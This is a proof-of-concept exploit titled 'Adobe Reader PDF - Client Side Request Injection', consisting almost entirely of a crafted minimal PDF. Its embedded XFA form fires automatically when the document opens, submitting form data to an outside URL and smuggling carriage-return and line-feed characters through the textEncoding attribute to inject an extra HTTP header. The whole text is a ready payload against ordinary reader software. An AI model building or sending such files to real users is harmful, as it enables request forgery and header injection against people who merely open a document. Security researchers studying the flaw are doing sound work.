Adobe Reader PDF - Client Side Request Injection

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by InsertScript 

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>

<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="docReady" ref="$host" name="event__click">
               <submit 
                     textEncoding="UTF-16&#xD;&#xA;test: test&#xD;&#xA;"
                     xdpContent="pdf datasets xfdf"
                     target="http://example.com/test"/>
            </event>
</field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>